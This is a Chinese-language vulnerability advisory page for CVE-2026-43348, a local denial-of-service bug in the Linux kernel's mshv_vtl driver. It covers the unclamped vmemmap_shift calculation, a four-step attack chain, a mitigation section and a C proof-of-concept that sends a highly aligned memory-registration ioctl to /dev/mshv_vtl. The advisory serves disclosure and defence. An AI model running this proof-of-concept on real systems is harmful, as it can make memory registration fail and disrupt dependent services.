IPBUF安全漏洞报告
English
CVE-2026-43348 CVSS 5.5 中危

CVE-2026-43348 Linux内核mshv_vtl内存注册拒绝服务漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43348
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

拒绝服务Linux内核mshv_vtl本地漏洞内存管理

漏洞概述

Linux内核中的mshv_vtl模块存在一个安全缺陷,即在通过MSHV_ADD_VTL0_MEMORY注册VTL0内存时,计算pgmap->vmemmap_shift的值未限制在MAX_FOLIO_ORDER范围内。当物理内存范围具有极高的对齐度时,该值将超过内核支持的最大值,导致memremap_pages()函数触发警告并返回-EINVAL错误,从而使得内存注册操作失败。此问题可能导致依赖该功能的系统服务不可用。

技术细节

该漏洞源于mshv_vtl驱动程序在处理内存注册请求时的逻辑错误。代码通过计算start_pfn和last_pfn按位或(OR)结果的尾随零数量来确定vmemmap_shift,旨在找到两端对齐的最大复合页阶数。然而,该计算结果未经过MAX_FOLIO_ORDER的钳位限制。例如,当物理内存范围对应start_pfn拥有35个尾随零时,生成的shift值将超过memremap_pages()所能接受的最大值,触发内核WARNING并返回-EINVAL,导致操作失败。此外,原有的错误处理路径硬编码了-EFAULT错误码,掩盖了真正的-EINVAL返回值。本地低权限攻击者可利用此漏洞造成拒绝服务。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者需要在本地系统拥有低权限账号,并能够访问mshv_vtl设备节点(通常需要特定权限或在特定虚拟化环境下)。
STEP 2
步骤2:构造恶意参数
攻击者编写程序,构造一个具有极高对齐度的物理内存范围(例如起始地址PFN有大量尾随零),作为MSHV_ADD_VTL0_MEMORY请求的参数。
STEP 3
步骤3:触发漏洞
攻击者通过ioctl系统调用向内核发送恶意的内存注册请求。
STEP 4
步骤4:拒绝服务
内核在处理请求时计算出的vmemmap_shift超过MAX_FOLIO_ORDER,触发WARNING并返回错误,导致内存注册失败,相关服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43348 * Triggering vmemmap_shift overflow in mshv_vtl driver. * This requires a system with mshv_vtl support and appropriate hardware. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <errno.h> // IOCTL definitions based on mshv_vtl implementation #define MSHV_IOCTL_TYPE 0xB8 #define MSHV_ADD_VTL0_MEMORY _IOW(MSHV_IOCTL_TYPE, 0x01, struct mshv_vtl_mem_args) struct mshv_vtl_mem_args { unsigned long long gpa; // Guest Physical Address unsigned long long size; // Size of memory region unsigned long long source; // Source mapping }; int main() { int fd = -1; int ret = -1; struct mshv_vtl_mem_args args; // Open the mshv_vtl device fd = open("/dev/mshv_vtl", O_RDWR); if (fd < 0) { perror("[-] Failed to open /dev/mshv_vtl"); printf("[-] Ensure you have the required permissions and hardware support.\n"); return 1; } printf("[+] Device opened successfully.\n"); // Setup arguments to trigger the vulnerability // Use a highly aligned address (e.g., 0x800000000000) which has many trailing zeros. // This causes vmemmap_shift calculation to exceed MAX_FOLIO_ORDER. args.gpa = 0x800000000000ULL; args.size = 0x10000000ULL; // 256MB size args.source = 0; printf("[*] Attempting to add VTL0 memory with GPA: 0x%llx\n", args.gpa); // Invoke the IOCTL ret = ioctl(fd, MSHV_ADD_VTL0_MEMORY, &args); if (ret < 0) { if (errno == EINVAL) { printf("[+] IOCTL failed with EINVAL. The kernel likely rejected the folio size.\n"); printf("[+] Vulnerability triggered (check dmesg for WARNING).\n"); } else { perror("[-] IOCTL failed with unexpected error"); } } else { printf("[-] IOCTL succeeded. The system might be patched or alignment requirements differ.\n"); } close(fd); return 0; }

影响范围

Linux Kernel (存在mshv_vtl支持的特定版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议严格限制对mshv_vtl相关设备接口的访问权限,防止非授权用户触发该逻辑错误。管理员应监控系统日志中的memremap_pages警告信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表